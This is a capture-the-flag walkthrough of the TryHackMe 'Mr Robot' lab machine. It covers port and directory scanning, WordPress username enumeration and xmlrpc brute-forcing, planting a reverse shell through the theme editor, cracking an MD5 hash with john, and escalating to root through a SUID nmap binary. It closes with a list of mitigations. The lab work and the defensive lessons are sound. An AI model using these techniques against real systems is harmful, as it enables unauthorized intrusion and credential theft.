# THM - Mr. Robot

| Room  | Mr Robot CTF                                  |
| ----- | --------------------------------------------- |
| OS    | :penguin: Linux                               |
| Level | <mark style="color:yellow;">**Medium**</mark> |
| Link  | <https://tryhackme.com/room/mrrobot>          |

## Reconnaissance

After booting the machine we start with a basic TCP Syn scan over all ports using `portcat` ([link here](https://github.com/Cr4ckC4t/portcat)). We find two open ports:

![Open TCP ports](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mhlz_oZ3oVPSWFmU_3o%2F-Mhtdyb9rko_JEVuIPD-%2F-MhtheMo2v6e95Mn1Axp%2Fportscan.png?alt=media\&token=c09ae5d7-a8ad-492d-ab21-9b12b6ed37db)

An `nmap` scan with version detection and basic vulnerability check gives a more detailed idea of the applications running on these ports.

{% tabs %}
{% tab title="Command" %}

```bash
sudo nmap -Pn -sS -sV --script=vuln 10.10.27.81 -p80,443 -v 
```

{% endtab %}

{% tab title="Output" %}

```
PORT    STATE SERVICE  VERSION
80/tcp  open  http     Apache httpd
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Apache
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
443/tcp open  ssl/http Apache httpd
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.27.81
|   Found the following possible CSRF vulnerabilities: 
|     
|     ...
|     
|     Path: https://10.10.27.81:443/wp-login.php
|     Form id: loginform
|_    Form action: https://10.10.27.81:443/wp-login.php
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Apache
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_sslv2-drown: 
```

{% endtab %}
{% endtabs %}

Apparently we're dealing with an Apache web server on both ports. Visiting the websites they appear to be the same with the only visible difference being that one is hosted via SSL (https - default on port 443).

As there are no other open tcp ports, we will start enumerating the web server on port 80.&#x20;

From the `nmap` scan we already know that we might find a wordpress site, as the `http-csrf` script yielded a `wp-login.php`.

## Service Enumeration

Before starting manual enumeration, we start `gobuster` to search for any interesting directories or files. While this runs, we can have a first look around the website.

{% tabs %}
{% tab title="Command" %}

```bash
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.27.81
```

{% endtab %}

{% tab title="Output" %}

```
/.hta                 (Status: 403) [Size: 213]
/.htaccess            (Status: 403) [Size: 218]
/.htpasswd            (Status: 403) [Size: 218]
/0                    (Status: 301) [Size: 0] [--> http://10.10.27.81/0/]
/admin                (Status: 301) [Size: 233] [--> http://10.10.27.81/admin/]
/atom                 (Status: 301) [Size: 0] [--> http://10.10.27.81/feed/atom/]
/audio                (Status: 301) [Size: 233] [--> http://10.10.27.81/audio/]  
/blog                 (Status: 301) [Size: 232] [--> http://10.10.27.81/blog/]   
/css                  (Status: 301) [Size: 231] [--> http://10.10.27.81/css/]    
/dashboard            (Status: 302) [Size: 0] [--> http://10.10.27.81/wp-admin/] 
/favicon.ico          (Status: 200) [Size: 0]                                    
/feed                 (Status: 301) [Size: 0] [--> http://10.10.27.81/feed/]     
/images               (Status: 301) [Size: 234] [--> http://10.10.27.81/images/] 
/image                (Status: 301) [Size: 0] [--> http://10.10.27.81/image/]    
/Image                (Status: 301) [Size: 0] [--> http://10.10.27.81/Image/]    
/index.html           (Status: 200) [Size: 1077]                                 
/index.php            (Status: 301) [Size: 0] [--> http://10.10.27.81/]          
/intro                (Status: 200) [Size: 516314]                               
/js                   (Status: 301) [Size: 230] [--> http://10.10.27.81/js/]     
/license              (Status: 200) [Size: 309]                                  
/login                (Status: 302) [Size: 0] [--> http://10.10.27.81/wp-login.php]
/page1                (Status: 301) [Size: 0] [--> http://10.10.27.81/]            
/phpmyadmin           (Status: 403) [Size: 94]                                     
/readme               (Status: 200) [Size: 64]                                     
/rdf                  (Status: 301) [Size: 0] [--> http://10.10.27.81/feed/rdf/]   
/robots               (Status: 200) [Size: 41]                                     
/robots.txt           (Status: 200) [Size: 41]                                     
/rss                  (Status: 301) [Size: 0] [--> http://10.10.27.81/feed/]       
/rss2                 (Status: 301) [Size: 0] [--> http://10.10.27.81/feed/]
/sitemap              (Status: 200) [Size: 0]                                      
/sitemap.xml          (Status: 200) [Size: 0]
/video                (Status: 301) [Size: 233] [--> http://10.10.27.81/video/]    
/wp-admin             (Status: 301) [Size: 236] [--> http://10.10.27.81/wp-admin/] 
/wp-content           (Status: 301) [Size: 238] [--> http://10.10.27.81/wp-content/]
/wp-includes          (Status: 301) [Size: 239] [--> http://10.10.27.81/wp-includes/]
/wp-config            (Status: 200) [Size: 0]                                        
/wp-cron              (Status: 200) [Size: 0]                                        
/wp-links-opml        (Status: 200) [Size: 227]                                      
/wp-load              (Status: 200) [Size: 0]                                        
/wp-login             (Status: 200) [Size: 2599]                                     
/wp-mail              (Status: 500) [Size: 3064]                                     
/wp-settings          (Status: 500) [Size: 0]                                        
/wp-signup            (Status: 302) [Size: 0] [--> http://10.10.27.81/wp-login.php?action=register]
/xmlrpc               (Status: 405) [Size: 42]                                                     
/xmlrpc.php           (Status: 405) [Size: 42] 
```

{% endtab %}
{% endtabs %}

Opening the website we are greeted with a minimal interactive terminal in Mr. Robot (a tv-series) style.&#x20;

![Minimal interactive terminal on the website](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mhlz_oZ3oVPSWFmU_3o%2F-Mhtdyb9rko_JEVuIPD-%2F-MhtsTS74_lWfr00mOxp%2Finteractive-terminal.png?alt=media\&token=a8211b60-57fc-4d04-bb0f-9b00f4b82dc3)

The source code doesn't look very interesting at first glance and the available commands lead us to video sequences and pictures that match the Mr. Robot theme. Even though we have some sort of interaction, we can't seem to break out of the pre-scripted behaviour. Having looked around long enough however, we can already see that `gobuster` came up with some interesting things.

Going through the found items, the first result (`/0/`) already confirms our assumption of a wordpress site.

![Indeed, it's a wordpress site](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mhlz_oZ3oVPSWFmU_3o%2F-Mhtdyb9rko_JEVuIPD-%2F-MhtxkJkKiS06HgHAwyz%2Fwpsite.png?alt=media\&token=b4d72c23-d9d3-4b41-97cd-a5d9345fcba9)

Sifting through the other items we get either the same view, back to the Mr. Robot themes or a *forbidden*. The source code never seems to contain any hints, comments or interesting code.

However, `robots.txt` contains interesting information for us.

![Contents of robots.txt](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mhlz_oZ3oVPSWFmU_3o%2F-Mhtdyb9rko_JEVuIPD-%2F-MhtzB-pYLXI364rP9Dt%2Frobots.png?alt=media\&token=8677fe89-d3b6-4025-9302-058f37842a09)

There's also a `readme` file, which does not give us anything useful. So from the `robots.txt` we can deduce that there might be a `fsocity.dic` and `key-1-of-3.txt` . And indeed, we can download `fsocity.dic` which looks like a wordlist and read the contents of the first key for the TryHackMe challenge:

![First of the three keys for the TryHackMe challenge](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mhlz_oZ3oVPSWFmU_3o%2F-Mhtdyb9rko_JEVuIPD-%2F-Mhu0aZTQwdzPhiAZe_9%2Fkey.png?alt=media\&token=5a467c06-c0ee-48ff-b7e9-cafec02a0cda)

Before moving on, we can use `wpscan` to extract a few more details about the wordpress site such as the version and possibly vulnerable themes.

{% tabs %}
{% tab title="Command" %}

```bash
wpscan -e --url http://10.10.27.81/
```

{% endtab %}

{% tab title="Output" %}

```
[+] Headers
 | Interesting Entries:
 |  - Server: Apache
 |  - X-Mod-Pagespeed: 1.9.32.3-4523
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: http://10.10.27.81/robots.txt
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://10.10.27.81/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] The external WP-Cron seems to be enabled: http://10.10.27.81/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.3.1 identified (Insecure, released on 2015-09-15).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://10.10.27.81/4d88fdd.html, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.3.1'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://10.10.27.81/4d88fdd.html, Match: 'WordPress 4.3.1'

[+] WordPress theme in use: twentyfifteen
 | Location: http://10.10.27.81/wp-content/themes/twentyfifteen/
 | Last Updated: 2021-07-22T00:00:00.000Z
 | Readme: http://10.10.27.81/wp-content/themes/twentyfifteen/readme.txt
 | [!] The version is out of date, the latest version is 3.0
 | Style URL: http://10.10.27.81/wp-content/themes/twentyfifteen/style.css?ver=4.3.1
 | Style Name: Twenty Fifteen
 | Style URI: https://wordpress.org/themes/twentyfifteen/
 | Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, st...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In 404 Page (Passive Detection)
 |
 | Version: 1.3 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://10.10.27.81/wp-content/themes/twentyfifteen/style.css?ver=4.3.1, Match: 'Version: 1.3'

```

{% endtab %}
{% endtabs %}

Knowing the version (WordPress 4.3.1) and installed themes (twentyfifteen - Version: 1.3) we could come back to search wordpress CVEs in case we don't find another way in. Since we already have a wordlist and the accessible wordpress login page though, we will concentrate on that first.

## Initial Access

Having no other open ports and no more interesting things to look at on the web site we can try to gain access via the wordpress login. We start by enumerating valid usernames (we get different errors for wrong password + invalid user and wrong password + valid user).

After trying many different possibilities like `user` (as in the wordpress site), `admin` (default credentials) and `mrrobot` (names from the video) we finally get a hit on `Elliot` - the name of the main protagonist from the Mr. Robot series - which can also be found in the wordlist that we found earlier.

{% hint style="success" %}
Valid wordpress username:  `Elliot`
{% endhint %}

Next, we need to find the password. After finding the username in the provided wordlist, we might be able to use it for the password too.

In order to keep the wordlist as small as possible, we should always check for any abundant lines first:

```
wc -l fsocity.dic
    858160 fsocity.dic
    
sort fsocity.dic | uniq | wc -l
    11451

sort -u fsocity.dic > fsociety-uniq.dic
```

This way we can reduce the size of the wordlist from 7MB to 95KB! Now on to the brute-force part.

{% hint style="warning" %}
Although brute-forcing tools for wordpress logins exist already (even as metasploit modules), I took it as a challenge to write my own (faster than the usual) brute-forcer. Any other tool should work too though.
{% endhint %}

While brute-forcing the basic login page is possible (no fail-to-ban active), it's also slow and very intrusive. But there's a second way we can check for credentials: `xmlrpc` ([XML Remote Procedure Call](https://en.wikipedia.org/wiki/XML-RPC)), which we saw being active during the `nmap` scan.

Basically, this endpoint allows us to query hundreds of credentials at once without a fail-to-ban mechanism. For more details on how to exploit `xmlrpc.php` you can read the following article: <https://nitesculucian.github.io/2019/07/01/exploiting-the-xmlrpc-php-on-all-wordpress-versions/>

Based on this article I developed a multithreaded brute-forcer in python that can be found on my GitHub:\
<https://github.com/Cr4ckC4t/paws/blob/master/xmlrpc-bf.py>\
Using this script, we can finally brute-force the login and retrieve `Elliot`s password. (*The target IP changed due to a restart in the meantime.*)

![Brute forcing the wordpress password for the user Elliot](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mhlz_oZ3oVPSWFmU_3o%2F-Mhw9L8BWgz7WJ_mmIGg%2F-MhwOPg9zwJLGIRXhg38%2Fxmlrpcbf.png?alt=media\&token=aa136dc4-f469-4eef-ac0c-460f412a293d)

{% hint style="success" %}
Valid wordpress credentials: `Elliot:ER28-0652`
{% endhint %}

Having access to the admin panel, we can start to look around for other users, deleted articles and other things but don't find anything particularly interesting. However, with access to the theme editor we can now easily drop a web- or reverse shell, as is explained in detail here: <https://www.hackingarticles.in/wordpress-reverse-shell/> .

![Upload a reverse shell - start a listener - activate the reverse shell - receive connection](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mhlz_oZ3oVPSWFmU_3o%2F-Mhw9L8BWgz7WJ_mmIGg%2F-MhwTK2lgVh4xF7y-mgd%2Frevshell.png?alt=media\&token=3e672dc5-961f-47fc-93df-03b9a5b3d61e)

{% hint style="success" %}
We now have a (low privileged) shell on the target machine as the service account`daemon` .
{% endhint %}

## Privilege Escalation

### User: daemon

As `daemon` we are very limited in our rights. Hence, we start looking for other users on the system to pivot into. Enumerating the target manually by checking `/etc/passwd` and some default directories we find the user `robot` with a `home` directory accessible by *everyone.*

![Found password hash in accessible home directory of user: robot](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mhlz_oZ3oVPSWFmU_3o%2F-Mhw9L8BWgz7WJ_mmIGg%2F-MhwXZtVGg8r-wrDgv2u%2Frobothome.png?alt=media\&token=fd1ae7df-c5fc-4596-b53c-25da2134863a)

It seems we found the hash of `robot`s password. Let's crack it with `john`:

{% tabs %}
{% tab title="Command" %}

```bash
john -w=/usr/share/wordlists/rockyou.txt password.raw-md5 --format=raw-md5
```

{% endtab %}

{% tab title="Output" %}

```
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
abcdefghijklmnopqrstuvwxyz (robot)
```

{% endtab %}
{% endtabs %}

{% hint style="success" %}
Valid user credentials: `robot:abcdefghijklmnopqrstuvwxyz`
{% endhint %}

Upgrading our shell to a terminal and switching to the user `robot` we can read the second flag and continue to escalate our privileges.

![](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mhlz_oZ3oVPSWFmU_3o%2F-Mhw9L8BWgz7WJ_mmIGg%2F-Mhw_1K0QN8zCKGKuIws%2Frobotflag.png?alt=media\&token=d38e58c8-4302-40f5-8690-26efadbaa9d8)

### User: robot

After checking some low hanging fruits (writeable `/etc/shadow`, unusual cronjobs, ...) we come across an interesting SUID binary:

{% tabs %}
{% tab title="Command" %}

```bash
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
```

{% endtab %}

{% tab title="Output" %}

```
-rwsr-xr-x 1 root root 44168 May  7  2014 /bin/ping
-rwsr-xr-x 1 root root 69120 Feb 12  2015 /bin/umount
-rwsr-xr-x 1 root root 94792 Feb 12  2015 /bin/mount
-rwsr-xr-x 1 root root 44680 May  7  2014 /bin/ping6
-rwsr-xr-x 1 root root 36936 Feb 17  2014 /bin/su
-rwxr-sr-x 3 root mail 14592 Dec  3  2012 /usr/bin/mail-touchlock
-rwsr-xr-x 1 root root 47032 Feb 17  2014 /usr/bin/passwd
-rwsr-xr-x 1 root root 32464 Feb 17  2014 /usr/bin/newgrp
-rwxr-sr-x 1 root utmp 421768 Nov  7  2013 /usr/bin/screen
-rwxr-sr-x 3 root mail 14592 Dec  3  2012 /usr/bin/mail-unlock
-rwxr-sr-x 3 root mail 14592 Dec  3  2012 /usr/bin/mail-lock
-rwsr-xr-x 1 root root 41336 Feb 17  2014 /usr/bin/chsh
-rwxr-sr-x 1 root crontab 35984 Feb  9  2013 /usr/bin/crontab
-rwsr-xr-x 1 root root 46424 Feb 17  2014 /usr/bin/chfn
-rwxr-sr-x 1 root shadow 54968 Feb 17  2014 /usr/bin/chage
-rwsr-xr-x 1 root root 68152 Feb 17  2014 /usr/bin/gpasswd
-rwxr-sr-x 1 root shadow 23360 Feb 17  2014 /usr/bin/expiry
-rwxr-sr-x 1 root mail 14856 Dec  7  2013 /usr/bin/dotlockfile
-rwsr-xr-x 1 root root 155008 Mar 12  2015 /usr/bin/sudo
-rwxr-sr-x 1 root ssh 284784 May 12  2014 /usr/bin/ssh-agent
-rwxr-sr-x 1 root tty 19024 Feb 12  2015 /usr/bin/wall
-rwsr-xr-x 1 root root 504736 Nov 13  2015 /usr/local/bin/nmap
-rwsr-xr-x 1 root root 440416 May 12  2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10240 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device
-r-sr-xr-x 1 root root 9532 Nov 13  2015 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
-r-sr-xr-x 1 root root 14320 Nov 13  2015 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
-rwsr-xr-x 1 root root 10344 Feb 25  2015 /usr/lib/pt_chown
-rwxr-sr-x 1 root shadow 35536 Jan 31  2014 /sbin/unix_chkpwd
```

{% endtab %}
{% endtabs %}

Apparently, `nmap` is allowed to run with `root` privileges which definitely isn't the default. Searching for `nmap` on <https://gtfobins.github.io/> gives us multiple examples for privilege escalation.

![Escalating to root with SUID binary nmap](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mhlz_oZ3oVPSWFmU_3o%2F-Mhw9L8BWgz7WJ_mmIGg%2F-MhwfFbI0yys6lhPZBp_%2Frobotroot.png?alt=media\&token=1833e8cc-07a9-49e0-a81b-4df87ee62517)

{% hint style="success" %}
We are finally able to gain `root` privileges on the target and can read the last flag.
{% endhint %}

## Mitigations

During this box we found multiple weak points that could easily be fixed:

* Disclosed sensitive information in `robots.txt`
* Weak passwords for users (`abcdefghijklmnopqrstuvwxyz` is not safe)
* Default configurations of wordpress allow easy enumeration and brute-force attacks (enable fail-to-ban and disable `xmlrpc.php` - or at least parts of it - if possible)
* Too broad access rights of user files (don't allow `home` access to everybody)
* Saved credentials on disk (weak md5 hashes should not be left in the open)
* Unsafe permissions for binaries (do not allow every user to run an application as `root`)
